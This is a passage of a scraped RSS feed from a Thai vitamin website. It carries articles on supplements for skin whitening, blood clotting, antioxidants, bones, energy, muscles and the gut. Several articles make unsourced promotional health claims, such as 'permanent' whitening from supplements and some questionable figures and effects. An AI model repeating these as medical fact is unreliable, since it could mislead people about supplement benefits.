]]> ผิวขาวถาวร ไม่ต้องพึ่งครีม แค่ทานสิ่งเหล่านี้ https://xn--m3cixw0dkd.com/interesting-articles/548?utm_source=rss&utm_medium=rss&utm_campaign=%25e0%25b8%259c%25e0%25b8%25b4%25e0%25b8%25a7%25e0%25b8%2582%25e0%25b8%25b2%25e0%25b8%25a7%25e0%25b8%2596%25e0%25b8%25b2%25e0%25b8%25a7%25e0%25b8%25a3-%25e0%25b9%2584%25e0%25b8%25a1%25e0%25b9%2588%25e0%25b8%2595%25e0%25b9%2589%25e0%25b8%25ad%25e0%25b8%2587%25e0%25b8%259e%25e0%25b8%25b6%25e0%25b9%2588%25e0%25b8%2587%25e0%25b8%2584 Mon, 05 Mar 2018 10:53:14 +0000 http://xn--m3cixw0dkd.dev-zen-group.webstarterz.com/?p=548 สาวๆหนุ่มๆที่อยากขาว ต้องอ่าน!! ด้วยวิธีง่ายๆเพียงแค่ทานก็ขาวได้อย่างถาวร

The post ผิวขาวถาวร ไม่ต้องพึ่งครีม แค่ทานสิ่งเหล่านี้ first appeared on วิตามิน.com.

]]> good-skin-vitamin
สาวๆกับเรื่องความงามเป็นสิ่งคู่กันเสมอ และหนึ่งในนั้นคือการบำรุงผิวให้ ขาวกระจ่างใส ดูดี มีออร่า โดดการบำรุงผิวนั้นอาจจะมีหลายวิธีเช่น การใช้ครีมทาผิว การพอกผิว การขัดผิว ซึ่งวิธีเหล่านี้ เป็นการบำรุงและดูแลภายนนอกเท่านั้น หากต้องการใส่ใจและดูแลอย่างแท้จริงอย่างล้ำลึก ต้องดูแล ผิวให้ ขาว จากภายในสู่ภายนอก

โดยการเลือกรับประทาน วิตามินผิวขาว  และเพิ่มประสิทธิภาพการทำงานของระบบต่างๆในร่างกายทำงานให้ดีขึ้น ซึ่งการเลือกวิตามินในการบำรุงผิวขาว หลักๆนั้นจะประกอบด้วย

  1. วิตามิน ซี เป็นวิตามินตัวแรกๆที่สาวๆนึกถึงเลยก็ว่าได้  สำหรับการบำรุงผิวขาว ใส วิตามินซีนี่แร่ะถือว่าเป็นพระเอกของผลลัพธ์นี้
  2. วิตามิน บี 3 มีส่วนช่วยให้กระบวนการเมตาบอริซึ่มของเซลผิว ทำให้เซลล์ทำงานได้เป็นปกติ อีกทั้งยังช่วยเพิ่มระดับเซราไมด์ของผิว ซึ่งการที่ผิวเรามีเซราไมด์เยอะนั้นจะทำให้ผิวเรากักเก็บความชุ่มชื้นได้ดีดีขึ้น
  3. Glutataione กลูต้าไธโอนเป็น Tri-peptide ที่ประกอบด้วยกรดอะมิโน 3 ชนิด ได้แก่ Glutamic acid, Cysteine และ Glycine ช่วยทำให้ผิวสุขภาพดี ผิวขาว กระจ่างใส กลูต้าไธโอนจะทำงานในระดับโมเลกุลของเซลล์ผิว
  4. Acerola Cherry มีปริมาณ วิตามิน ซีอันอุดมสมบูรณ์ที่สุด มากกว่าส้มถึง 50 เท่า ช่วยป้องกันเซลล์จากการทำลายโดยอนุมูลิสระจากปัจจัยภายนอกและภายใน ช่วยให้ผิวขาว ขึ้นอย่างเป็นธรรมชาติช่วยป้องกันและรักษาเม็ดสีเมลานินที่ผิดปกติลดรอยหมองคล้ำ
  5. Coenzyme Q10 มีบทบาทสำคัญในการเป็นสารต้านอนุมูลอิสระ จึงป้องกันการเสื่อมสภาพของเซลล์ต่างๆ ในร่างกาย ช่วยเพิ่มออกซิเจนให้แก่เซลล์เนื้อเยื่อต่างๆ ช่วยชะลอการเสื่อมของเซลล์ผิวหนังจากแสงแดด และรังสี UV ช่วยเสริมสร้างเซลล์ผิวพรรณใหม่และฟื้นฟูเซลล์ผิวพรรณเดิม ช่วยเพิ่มการสังเคราะห์คอลลาเจนในเซลล์ผิวทำให้ผิวแน่น ยืดหยุ่นได้ดี ช่วยให้แผลหายได้เร็วขึ้น ช่วยลดเลือนริ้วรอย ทำให้ริ้วรอยต่างๆ ตื้นขึ้น รวมทั้งช่วยลดเลือนจุดด่างดำ และลดปัญหาสีผิวหมองคล้ำได้ จึงทำให้ผิวค่อยๆ ขาว กระจ่างใสขึ้น บำรุงผิวขาว ได้เป็นอย่างดี

  จะเห็นได้ว่า การบำรุงผิวไม่ได้มีเพียงแค่การบำรุงภายนอก แต่ยังมีการบำรุงจากภายในคือ “วิตามิน”  พร้อมทั้งสารสกัดที่ช่วยในเรื่องของการดูแลผิวขาว เปล่งปลั่ง พร้อมเผยออร่าให้กับสาวๆ ได้มั่นใจ แต่อย่าลืมไปนะคะว่า วิตามิน ไม่ใช่ ขนม ในการรับประทานก็อาจจะต้องมีข้อระมัดระวัง เพราะอาจจะส่งผลเสียต่อไตได้ กินบ้างพักบ้างตามความเหมาะสม    และอีกอย่างวิตามินผิวขาว บางชนิดก็มีอยู่แล้วในธรรมชาติ เช่น ผัก ผลไม้ อยู่ที่จะเลือกทานแบบไหน ส่วนในรูปแบบอาหารเสริม วิตามิน ก็เป็นทางเลือกหนึ่งที่ดี สะดวก สบาย หาซื้อได้ง่าย  อย่างไรก็ดีการทานอาหารให้ครบ 5 หมู่สำคัญยิ่งกว่า การทานแต่สิ่งดีๆย่อมทำให้สุขภาพและผิวพรรณดีได้เช่นกัน

The post ผิวขาวถาวร ไม่ต้องพึ่งครีม แค่ทานสิ่งเหล่านี้ first appeared on วิตามิน.com.

]]> เกือบตาย!! เลือดไหลไม่หยุดเพราะขาดวิตามิน https://xn--m3cixw0dkd.com/interesting-articles/546?utm_source=rss&utm_medium=rss&utm_campaign=%25e0%25b9%2580%25e0%25b8%2581%25e0%25b8%25b7%25e0%25b8%25ad%25e0%25b8%259a%25e0%25b8%2595%25e0%25b8%25b2%25e0%25b8%25a2-%25e0%25b9%2580%25e0%25b8%25a5%25e0%25b8%25b7%25e0%25b8%25ad%25e0%25b8%2594%25e0%25b9%2584%25e0%25b8%25ab%25e0%25b8%25a5%25e0%25b9%2584%25e0%25b8%25a1%25e0%25b9%2588%25e0%25b8%25ab%25e0%25b8%25a2 Fri, 02 Mar 2018 04:21:23 +0000 http://xn--m3cixw0dkd.dev-zen-group.webstarterz.com/?p=546 เลือดออก เลือดไหลไม่หยุด อาจเกิดจากการขาดวิตามินซึ่งส่งผลต่อกระบวนการทำงานของเม็ดเลือด

The post เกือบตาย!! เลือดไหลไม่หยุดเพราะขาดวิตามิน first appeared on วิตามิน.com.

]]> Blood-Vitamin-K
เหตุการณ์หรืออุบัติเหตุที่ไม่คาดคิดมักเกิดขึ้นโดยที่เราไม่ระวังตัว ทำให้เราได้รับบาดแผลเจ็บตัว บางครั้งถึงขั้นเลือดตกยางออก หรือบางครั้งอาจมีเลือดออกด้วยอาการหรือโรคต่างๆ เช่น การถอนฟัน เลือดกำเดาไหล ซึ่งเราจะเห็นได้ว่า บางคนเลือดออกนานและบางคนเลือดก็หยุดไหลไว เกิดจากเกร็ดเลือดแข็งตัวช้า ทั้งนี้การทานอาหารการได้รับสารอาหารจากวิตามินก็มีส่วนช่วยในกระบวนการทำงานของเม็ดเลือดเช่นกัน 

วิตามินเค มีส่วนที่ช่วยกระบวนการสร้างของกระดูกและการเรียงตัวของเนื้อกระดูก โดยเมื่อมีการทำงานร่วมกับแคลเซียมจะพบว่ากระดูกจะมีความแข็งแรงและไม่เปราะง่าย และนอกจากนี้หากขาด วิตามินเค ในส่วนนี้อาจทำให้เกิดกระดูกงอกผิดที่ผิทางในส่วนของร่างกายของคนเราได้ และอาจเกิดก้อนหินปูนในอวัยวะต่างๆ รวมถึงอาจก่อให้เกิดหลอดเลือดอุดตันในหัวใจหรือสมองได้ นอกจากนี้ยังมีส่วนสำคัญที่ช่วยให้เกิดการแข็งตัวของเลือดหากขาดวิตามินเค เลือดจะไหล ออกมาไม่หยุดต้องทำการห้าม เลือด อย่างเร่งด่วน

โดยในภาวะที่ร่างกายขาด วิตามินเค คือจะทำให้มี เลือดไหล ออกมา จากอวัยวะต่างๆ ของร่างกาย ไม่ว่าจะเป็น ผิวหนัง ลำไส้ หรือช่องกะโหลกศีรษะ สำหรับโรคที่มักจะเกิดขึ้น หากร่างกาย ได้รับปริมาณของ วิตามินเค น้อย หรืออยูในภาวะขาด วิตามินเค เช่น โรคเรื้อรังของ ระบบทางเดินอาหารบางชนิด โรคทางเดินน้ำดีอุดตัน เป็นต้น และในสำหรับคุณแม่ที่เลี้ยงลูกด้วยนม หากคุณแม่มีภาวะเกิดการขาด วิตามินเค อาจจะส่งผลทำให้ลูก เกิดภาวะเลือดไม่แข็งตัว มีเลือดออกในช่องกะโหลก ลำไส้ หรือมีเลือดออก บริเวณผิวหนังได้ เนื่องจากเด็กทารก ยังมีปริมาณไขมันในระดับต่ำ และเชื้อโรคที่ลำไส้ของเด็กทารก ในช่วงที่เด็กอายุ 1 สัปดาห์หลังจากที่ลืมตาดูโลก ก็ยังไม่มีจึงไม่สามารถสังเคราะห์ วิตามินเค ได้เอง จึงต้องอาศัย วิตามินเค จากน้ำนมแม่อย่างเดียว อีกทั้ง วิตามินเค ช่วยในการทำงานของตับให้ทำงานอย่างมีประสิทธิภาพ ถ้าขาด วิตามินเค จะทำให้เลือดไหลไม่หยุด หรือหยุดยากเวลามีบาดแผล เลือดแข็งตัวช้า หรือเลือดกำเดาออก มีการตกเลือด หรือเลือดออกภายใน เช่น ลำไส้เล็ก เลือดออกมากับปัสสาวะ เลือดออกที่ตา เลือดออกหลังผ่าตัด หรือคลอดก่อนกำหนด ให้กินอาหารที่มี วิตามินเค สูงเพื่อไปทดแทนวิตามินที่ขาดแคลน

สำหรับผู้ใหญ่นั้นที่มีภาวะขาด วิตามินเค มักเกิดร่วมกับสาเหตุบางอย่าง เช่น โรคเรื้อรังของระบบทางเดินอาหารบางชนิด โรคทางเดินน้ำดีอุดตัน หลังจากการผ่าตัดลำไส้เล็ก หรือได้รับยาปฏิชีวนะที่มีฤทธิ์ครอบคลุมเชื้อกว้าง

การวินิจฉัยทำได้โดยการตรวจ เวลาโปรธรอมบิน (prothrombin time ; PT) ซึ่งผู้ที่มีภาวะขาด วิตามินเค จะใช้เวลานานกว่าปกติ หรือตรวจปริมาณ วิตามินเค โดยตรงด้วยวิธี HPLC

The post เกือบตาย!! เลือดไหลไม่หยุดเพราะขาดวิตามิน first appeared on วิตามิน.com.

]]> ทานวิตามินตัวนี้ รับรองว่าได้รับสารต้านอนุมูลอิสระแบบเต็มๆ https://xn--m3cixw0dkd.com/interesting-articles/539?utm_source=rss&utm_medium=rss&utm_campaign=%25e0%25b8%2597%25e0%25b8%25b2%25e0%25b8%2599%25e0%25b8%25a7%25e0%25b8%25b4%25e0%25b8%2595%25e0%25b8%25b2%25e0%25b8%25a1%25e0%25b8%25b4%25e0%25b8%2599%25e0%25b8%2595%25e0%25b8%25b1%25e0%25b8%25a7%25e0%25b8%2599%25e0%25b8%25b5%25e0%25b9%2589-%25e0%25b8%25a3%25e0%25b8%25b1%25e0%25b8%259a%25e0%25b8%25a3%25e0%25b8%25ad%25e0%25b8%2587 Fri, 02 Mar 2018 04:05:00 +0000 http://xn--m3cixw0dkd.dev-zen-group.webstarterz.com/?p=539 ใครที่อยากมีผิวสวยๆ ทานอาหารที่มีสารต้านอนุมูลอิสระด้วยวิตามินตัวนี้รับรองว่าเด็ด

The post ทานวิตามินตัวนี้ รับรองว่าได้รับสารต้านอนุมูลอิสระแบบเต็มๆ first appeared on วิตามิน.com.

]]> antioxident-Vitamin-skin
สาวๆหนุ่มๆที่รักสวยรักงามคงปฏิเสธไม่ได้ว่าการบำรุงผิวคือสิ่งที่สำคัญที่สุด อีกสิ่งหนึ่งที่ลืมไม่ได้ของเคล็ดลับความสวยความงาม นอกจากการทาครีมคือการรับประทานอาหารที่มีสารบำรุงผิว ดังคำว่าสวยจากภายในสู่ภายนอก อาหารที่ช่วยให้ผิวสวยมักจะเป็นอาหารที่มีสารต้านอนุมูลอิสระ ซึ่งพบมากในวิตามิน อี 

วิตามิน อี  (Vitamin E) เป็นหนึ่งวิตามินที่เป็น สารต้านอนุมูลอิสระ ที่เป็นที่รู้จักกันดีมากที่สุดชนิดหนึ่ง โดยมีคุณสมบัติสามารถละลายได้ในไขมัน และมีทั้งในรูปแบบธรรมชาติและแบบสังเคราะห์ขึ้น จากงานวิจัยได้ระบุว่า วิตามิน อี ทั้งสองรูปแบบมีสรรพคุณ ต้านอนุมูลอิสระ ได้อย่างดีเยี่ยม แต่แบบธรรมชาติจะมีอานุภาพมากกว่าและทำงานในผิวได้ยาวนานกว่าแบบสังเคราะห์

วิตามิน อี (Vitamin E) เป็น สารต้านอนุมูลอิสระ ชั้นดีเยี่ยม พร้อมทั้งช่วย ป้องกันการเกิดออกซิเดชัน (Oxidation) ของสารในกลุ่มไขมัน ทำงานเหมือนกับวิตามินเอ วิตามินซี ซีลีเนียม กรดอะมิโนซัลเฟอร์ และนอกจากนี้ วิตามิน อี ยังสามารถช่วยเพิ่มประสิทธิภาพการทำงานของวิตามินเอได้ดียิ่งขึ้น และยังทำหน้าที่สำคัญคล้ายเป็นยาขยายหลอดลมและเป็นยาต้านการแข็งตัวของเลือด โดยวิตามินอีจะต่างกับวิตามินที่ละลายในไขมันตัวอื่นคือ ร่างกายจะเก็บสะสมไว้เพียงชั่วระยะเวลาหนึ่งเท่านั้น คล้าย ๆ กับวิตามินบีและวิตามินซี

ในด้านของการบำรุงผิว วิตามิน อี จะออกฤทธิ์ในการ ต้านอนุมูลอิสระ ที่สามารถแสดงประสิทธิภาพได้ โดยเมื่อใช้ทาผิวหนังในขนาดที่เหมาะสมจะช่วยป้องกันเซลล์ไม่ให้เสื่อมสภาพ จากผลของแสงอัลตร้าไวโอเล็ต อันเป็นตัวการทำให้เกิดริ้วรอยบนใบหน้า อีกทั้งช่วยสร้างคอลลาเจนของผิว อันเป็นการป้องกันรอยเหี่ยวย่นบนใบหน้าก่อนวัยอันควร และยังช่วยยับยั้ง อนุมูลอิสระ ที่เกิดจากมลภาวะในอากาศ ไม่ให้ทำลายผิวหนัง ช่วยลดการลอกภายหลังถูกแดดจัด ลดการเกิดมะเร็งผิวหนัง ช่วยให้แผลหายเร็วขึ้น วิตามิน อี ในเครื่องสำอางมักเป็นชนิดสังเคราะห์ (DL – alphato copherol) ซึ่ง 1.46 DL-alphatocopherol จะมีผลเท่ากับ 1 D-alphatocopherol (หรือวิตามิน อีธรรมชาติ) ซึ่งก็เป็นคุณสมบัติของ วิตามิน อี เช่นเดียวกัน และช่วงเวลาที่รับประทาน วิตามิน อี ที่ดีที่สุดคือรับประทานพร้อมอาหาร โดยเฉพาะอาหารที่มีน้ำมันจะช่วยในการดูดซึม วิตามิน อี ได้ดีขึ้น เนื่องจากวิตามินอีเป็นวิตามินที่ละลายในน้ำมัน (ไม่ละลายน้ำ)

The post ทานวิตามินตัวนี้ รับรองว่าได้รับสารต้านอนุมูลอิสระแบบเต็มๆ first appeared on วิตามิน.com.

]]> วิตามินบำรุงกระดูก https://xn--m3cixw0dkd.com/%e0%b8%aa%e0%b8%b2%e0%b8%a3%e0%b8%b0%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%a3%e0%b8%b9%e0%b9%89/520?utm_source=rss&utm_medium=rss&utm_campaign=%25e0%25b8%25a7%25e0%25b8%25b4%25e0%25b8%2595%25e0%25b8%25b2%25e0%25b8%25a1%25e0%25b8%25b4%25e0%25b8%2599%25e0%25b8%259a%25e0%25b8%25b3%25e0%25b8%25a3%25e0%25b8%25b8%25e0%25b8%2587%25e0%25b8%2581%25e0%25b8%25a3%25e0%25b8%25b0%25e0%25b8%2594%25e0%25b8%25b9%25e0%25b8%2581 Mon, 01 Jan 2018 09:46:33 +0000 http://xn--m3cixw0dkd.dev-zen-group.webstarterz.com/?p=520 กระดูก นับเป็น 20 เปอร์เซนของน้ำหนักเรา มีการเจริญเติบโตอย่างต่อเนื่องจนถึงวัยรุ่น

The post วิตามินบำรุงกระดูก first appeared on วิตามิน.com.

]]> bone vitamin info

กระดูกมนุษย์ ประกอบไปด้วยกระดูกชิ้นต่างๆในร่างกาย เชื่อมต่อกันด้วยข้อต่อ เอ็น กล้ามเนื้อ กระดูกอ่อน และอวัยวะต่างๆ กระดูกในมนุษย์ผู้ใหญ่มีประมาณ 206 ชิ้น คิดเป็นประมาณ 20%ของน้ำหนักร่างกาย ทั้งนี้จำนวนของกระดูกอาจแตกต่างกันไปในแต่ละบุคคล ทารกแรกเกิดจะมีกระดูกจำนวนประมาณ 300 ชิ้น เมื่อเจริญเติบโตกระดูกจะเชื่อมโยงกัน นอกจากนี้ในทารกแรกเกิดยังมีโครงสร้างของกระดูกอ่อนอยู่มาก เพื่อให้มีการสร้างโครงสร้างของกระดูกระหว่างการเจริญเติบโต และจะมีการพัฒนาไปเป็นกระดูกทั้งหมดเมื่อสิ้นสุดช่วงวัยรุ่น จึงทำให้เราควรได้รับวิตามินบำรุงกระดูกอยู่เสมอทุกช่วงอายุ เพื่อการเจริญเติบโต รักษาและคงสภาพ

  1. วิตามิน เอ เป็นส่วนประกอบสำคัญของ cornea และยังมีผลต่อการเจริญเติบโต การสร้างกระดูก และระบบสืบพันธ์ช่วยให้กระดูก ผม ฟัน และเหงือกแข็งแรง
  2. วิตามิน ดี ช่วยเสริมการใช้แคลเซียมและฟอสฟอรัส ซึ่งจำเป็นต่อความแข็งแรงของกระดูกและฟัน ช่วยในการดูดซึมของวิตามินเอ
  3. วิตามิน เค ช่วยป้องกันกระดูกเปราะบาง
  4. แคลเซียม (Ca) มีบทบาทสำคัญในการสร้าง และเป็นองค์ประกอบหลักของกระดูก และฟันในร่างกาย รวมถึงซ่อมแซมส่วนที่สึกหรอของกระดูก และฟัน
  5. แมกนีเซียม (Mg) ช่วยในการสร้างผลึกกระดูกใหม่ เป็นองค์ประกอบของกระดูกและฟัน ช่วยให้กระดูกและฟันแข็งแรง
  6. สังกะสี (Zn) ช่วยการดูดซึม และการสร้างกระดูก เพื่อการเจริญเติบโตและซ่อมแซมเซลล์ที่สึกหรอของเนื้อเยื่อทุกชนิดของร่างกาย

The post วิตามินบำรุงกระดูก first appeared on วิตามิน.com.

]]> วิตามินเสริมสร้างพลังงาน https://xn--m3cixw0dkd.com/%e0%b8%aa%e0%b8%b2%e0%b8%a3%e0%b8%b0%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%a3%e0%b8%b9%e0%b9%89/517?utm_source=rss&utm_medium=rss&utm_campaign=%25e0%25b8%25a7%25e0%25b8%25b4%25e0%25b8%2595%25e0%25b8%25b2%25e0%25b8%25a1%25e0%25b8%25b4%25e0%25b8%2599%25e0%25b9%2580%25e0%25b8%25aa%25e0%25b8%25a3%25e0%25b8%25b4%25e0%25b8%25a1%25e0%25b8%25aa%25e0%25b8%25a3%25e0%25b9%2589%25e0%25b8%25b2%25e0%25b8%2587%25e0%25b8%259e%25e0%25b8%25a5%25e0%25b8%25b1%25e0%25b8%2587%25e0%25b8%2587 Mon, 01 Jan 2018 09:31:11 +0000 http://xn--m3cixw0dkd.dev-zen-group.webstarterz.com/?p=517 ร่างกายต้องการพลังงานมากที่เพียงพอต่อกิจกรรมในชีวิตประจำวัน จึงต้องทานวิตามินที่เสริมสร้างพลังงาน

The post วิตามินเสริมสร้างพลังงาน first appeared on วิตามิน.com.

]]> energy vitamin info

ในชีวิตประจำวันที่มีกิจกรรมมากมาย เคยสังเกตมั้ยว่าแต่ละวันคุณใช้พลังงานไปมากน้อยเพียงใด และภายใน 1 วัน ร่างกายต้องการพลังงานมากเพียงไหนจึงจะเพียงพอต่อการเผาผลาญ และถ้าหากเรารับพลังงานไม่เพียงพอ ร่างกายก็จะเหนื่อย เพลีย อ่อนล้า และอาจเจ็บป่วยได้ง่าย เราจึงควรรับประทานอาหารที่มีประโยชน์ และอาหารที่มีวิตามินเสริมสร้างพลังงานให้กับร่างกาย

  1. วิตามิน ซี สร้างสารสื่อประสาท เช่น นอร์อิพิเนฟริน เวลาเราตื่นเต้นสารตัวนี้จะหลั่งมาก ให้รู้สึกกระปรี้กระเปร่าเพิ่มความแข็งแรงของระบบภูมิคุ้มกัน
  2. วิตามิน บี5 เป็นส่วนประกอบของโคเอนไซม์ เอ ซึ่งใช้ในการเผาผลาญพลังงานมีส่วนช่วยในการสังเคราะห์ไขมัน สารสื่อประสาท ในร่างกาย มีผลต่อการเจริญเติบโตการผลิตสารภูมิคุ้มกันและการสังเคราะห์ฮอร์โมน
  3. วิตามิน บี9 ส่วนช่วยในกระบวนการเผาผลาญโปรตีน มีความสำคัญในการสร้างเม็ดเลือดแดง ช่วยในการสร้างกรดนิวคลีอิก และมีความจำเป็นต่อการแบ่งตัวของเซลล์
  4. วิตามิน บี12 เป็นโคเอนไซม์ที่เกี่ยวข้องในการแบ่งเซลล์ รวมถึงการสร้างเม็ดเลือดแดง ช่วยคงสภาวะของเซลล์ประสาท ช่วยให้วิตามิน บี9 ทำงานได้ ช่วยย่อยกรดอะมิโนและกรดไขมันบางตัว ลดอาการเหน็บชา ซึมเศร้า
  5. โซเดียม (Na) ช่วยให้เส้นประสาทและกล้ามเนื้อทำงานได้อย่างเป็นปกติ ช่วยป้องกันอาการอ่อนเพลียจากความร้อนหรือลมแดดได้
  6. ธาตุเหล็ก (Fe) ช่วยเสริมสร้างการเจริญเติบโตของร่างกาย ช่วยป้องกันอาการอ่อนเพลียของร่างกาย ช่วยเสริมความต้านทานต่อการเจ็บป่วย

The post วิตามินเสริมสร้างพลังงาน first appeared on วิตามิน.com.

]]> วิตามินบำรุงกล้ามเนื้อ https://xn--m3cixw0dkd.com/%e0%b8%aa%e0%b8%b2%e0%b8%a3%e0%b8%b0%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%a3%e0%b8%b9%e0%b9%89/514?utm_source=rss&utm_medium=rss&utm_campaign=%25e0%25b8%25a7%25e0%25b8%25b4%25e0%25b8%2595%25e0%25b8%25b2%25e0%25b8%25a1%25e0%25b8%25b4%25e0%25b8%2599%25e0%25b8%259a%25e0%25b8%25b3%25e0%25b8%25a3%25e0%25b8%25b8%25e0%25b8%2587%25e0%25b8%2581%25e0%25b8%25a5%25e0%25b9%2589%25e0%25b8%25b2%25e0%25b8%25a1%25e0%25b9%2580%25e0%25b8%2599%25e0%25b8%25b7%25e0%25b9%2589%25e0%25b8%25ad Mon, 01 Jan 2018 08:40:23 +0000 http://xn--m3cixw0dkd.dev-zen-group.webstarterz.com/?p=514 กล้ามเนื้อ เป็นอวัยวะที่หนักถึง 40 % ของน้ำหนักตัว และมีถึง 696 มัด ที่ไม่ควรละเลยการดูแล

The post วิตามินบำรุงกล้ามเนื้อ first appeared on วิตามิน.com.

]]> muscle vitamin info

สำหรับเหล่านักกีฬา การบำรุงกล้ามเนื้อเป็นเรื่องที่ต้องใส่ใจดูแลเป็นพิเศษ เป็นอวัยวะที่หนักถึง 40 % ของน้ำหนักตัว และมีถึง 696 มัด ซึ่งต้องทำงานอยู่ตลอดเวลา หลายครั้งที่พบอาการปวดกล้ามเนื้อ เนื่องจากกิจกรรมที่ใช้ในชีวิตประจำวัน การขยับร่างกาย หลายอิริยาบถ หรือการใช้กล้ามเนื้อในลักษณะท่าทางผิดปกติ จึงทำให้กล้ามเนื้อบางส่วนมีปัญหา จึงไม่ควรละเลยที่จะทานอาหารที่มีประโยชน์ มีวิตามินบำรุงกล้ามเนื้อ อยู่เสมอ

  1. วิตามิน บีรวม B complex ประกอบด้วยวิตามินหลายรายเช่น วิตามิน บี1,วิตามิน บี2,วิตามิน บี3,วิตามิน บี6, และวิตามิน บี12. เกือบทุกวิตามินเหล่านี้มีความจำเป็นในร่างกายในการสร้างกล้ามเนื้อแข็งแรง. วิตามิน บี1 เป็นสิ่งจำเป็นสำหรับการเผาผลาญของโปรตีนในร่างกายของเรา. นอกจากนี้ยังสนับสนุนการทำงานของเซลล์เหล่านั้นซึ่งนำออกซิเจนไปทั่วร่างกาย. วิตามิน บี2 เป็นสิ่งจำเป็นสำหรับการเผาผลาญไขมันในร่างกาย วิตามิน บี3 ช่วยในการให้กล้ามเนื้อดูฟูลเลอร์.วิตามิน บี6 ช่วยในการย่อยโปรตีน. หากดำเนินการในส่วนที่เกินวิตามินเหล่านี้จะถูกขับออกจากร่างกายเนื่องจากพวกเขาจะละลายน้ำได้. แหล่งอาหาร ได้แก่ ธัญพืช, ยีสต์, อาหารทะเล, ตับ, ไต, ผักใบเขียว, ถั่ว, ฯลฯ.
  2. วิตามิน ดี ทำให้กล้ามเนื้อแข็งแรงขึ้น ทั้งในนักกีฬาและคนสูงอายุ,กล้ามเนื้อที่แข็งแรงขึ้น จะทำให้การหกล้ม เกิดขึ้นน้อยลง และโอกาสกระดูกหักจากการล้มก็ลดน้องลงด้วย
  3. วิตามิน เค ช่วยสร้างความแข็งแรงให้กระดูก โดยวิตามิน เค จะไปช่วยช่วยการสร้างออสทิโอแคลซิน (Osteocalcin) ซึ่งเป็นโปรตีนที่ช่วยสร้างความแข็งแรงให้กระดูก ทำให้กล้ามนื้อกระชับ
  4. โอเมก้า 3 ยังมีคุณสมบัติ ต่อต้านการอักเสบ(ช่วยบรรเทาอาการข้ออักเสบ) และที่สำคัญที่สุด กรดไขมันโอเมก้า 3 ช่วยให้ผิวเปล่งประกายและสุขภาพดีขึ้น ซึ่งเป็นผลมาจากการเข้าไปสร้างเยื่อหุ้มเซลล์ช่วยคงความชุ่มชื้นและแข็งแรง ช่วยกระตุ้นการผลิตคอลลาเจนและเส้นใยอีลาสติน จึงส่งผลให้ผิวพรรณแลดูอ่อนเยาว์และสดใส
  5. โปรตีน ให้กรดอะมิโนจำเป็น ซึ่งร่างกายสร้างเองไม่ได้ ต้องได้รับจากอาหารเท่านั้น สร้างกล้ามเนื้อและโครงสร้างของร่างกาย รวมทั้งชั่วยซ่อมแซมเนื้อเยื่อต่างๆ ที่สึกหรอ สร้างสารทำงานต่าง ๆ ในร่างกาย เช่น เอนไซม์ และฮอร์โมนหลายชนิด รวมทั้งช่วยนำพาและขนส่งสารหลายชนิดในเลือด
  6. ซีลีเนียม (Se) ช่วยรักษาความยืดหยุ่นของกล้ามเนื้อ

The post วิตามินบำรุงกล้ามเนื้อ first appeared on วิตามิน.com.

]]> วิตามินบำรุงลำไส้ https://xn--m3cixw0dkd.com/%e0%b8%aa%e0%b8%b2%e0%b8%a3%e0%b8%b0%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%a3%e0%b8%b9%e0%b9%89/511?utm_source=rss&utm_medium=rss&utm_campaign=%25e0%25b8%25a7%25e0%25b8%25b4%25e0%25b8%2595%25e0%25b8%25b2%25e0%25b8%25a1%25e0%25b8%25b4%25e0%25b8%2599%25e0%25b8%259a%25e0%25b8%25b3%25e0%25b8%25a3%25e0%25b8%25b8%25e0%25b8%2587%25e0%25b8%25a5%25e0%25b8%25b3%25e0%25b9%2584%25e0%25b8%25aa%25e0%25b9%2589 Mon, 01 Jan 2018 08:24:47 +0000 http://xn--m3cixw0dkd.dev-zen-group.webstarterz.com/?p=511 ควรรักษาสมดุลของร่างกายด้วยการรับประทานอาหารที่มีประโยชน์ มีวิตามินบำรุงลำไส้  เมื่อไม่เป็นโรค สุขภาพที่ดีก็ย่อมตามมา

The post วิตามินบำรุงลำไส้ first appeared on วิตามิน.com.

]]> colon vitamin info

ลำไส้ เป็นส่วนหนึ่งในทางเดินอาหาร ต่อจากกระเพาะอาหารไปสู่ทวารหนัก ในมนุษย์และสัตว์ส่วนใหญ่ ลำไส้แบ่งออกเป็นสองส่วน คือ ลำไส้เล็ก และ ลำไส้ใหญ่ โรคหลายโรคมักมากับการรับประทานอาหาร ดังนั้นจึงควรรักษาสมดุลของร่างกายด้วยการรับประทานอาหารที่มีประโยชน์ มีวิตามินบำรุงลำไส้  เมื่อไม่เป็นโรค สุขภาพที่ดีก็ย่อมตามมา

  1. วิตามิน เอ  ป้องกันการติดเชื้อระบบทางเดินอาหาร
  2. วิตามิน บี1 เสริมสร้างการเจริญเติบโต ช่วยย่อยอาหารจำพวกแป้งได้เป็นดี
  3. วิตามิน บี3 พบมากในนม ไข่ เนื้อสัตว์ ถ้าขาดจะทำให้ผิวหนังอักเสบ ท้องเดิน และสมองเสื่อม
  4. วิตามิน บี6 มีความจำเป็นต่อการสร้างน้ำย่อยในกระเพาะอาหารและแมกนีเซียม ร่างกายมีความจำเป็นต้องใช้วิตามิน บี6 ในการสร้างแอนติบอดีและเม็ดเลือดแดง
  5. วิตามิน บี7 ไบโอทิน ช่วยในการเจริญเติบโต แบคทีเรียในลำไส้ของเราสามารถสังเคราะห์วิตามินนี้ได้อย่างเพียงพอต่อความต้องการของร่างกาย จึงไม่ค่อยพบการขาดวิตามินชนิดนี้
  6. วิตามิน บี12   ทำให้ร่างกายสามารถใช้ไขมัน โปรตีน และคาร์โบไฮเดรตได้อย่างเหมาะสม
  7. วิตามิน ซี เป็นยาระบายตามธรรมชาติ ช่วยลดระดับคอเลสเตอรอลในเลือด
  8. วิตามิน เค พบมากใน ผัก ไข่แดง โยเกิร์ต ช่วยในการแข็งตัวของเลือดและบำรุงกระดูกและฟัน ปกติแล้วเชื้อแบคทีเรียในลำไส้สามารถสังเคราะห์ได้อย่างเพียงพอ
  9. โครเมียม (Cr) ทำงานร่วมกับอินซูลินในกระบวนการเผาผลาญน้ำตาล มีส่วนช่วยลดระดับคอเลสเตอรอลทั้งหมดในร่างกาย และเพิ่มระดับคอเลสเตอรอลชนิดดีให้แก่ร่างกาย โครเมียมพิโคลิเนต (Chromium Picolinate) มีส่วนช่วยเร่งการเผาผลาญไขมันในร่างกายและไปช่วยเพิ่มมวลกล้ามเนื้อ
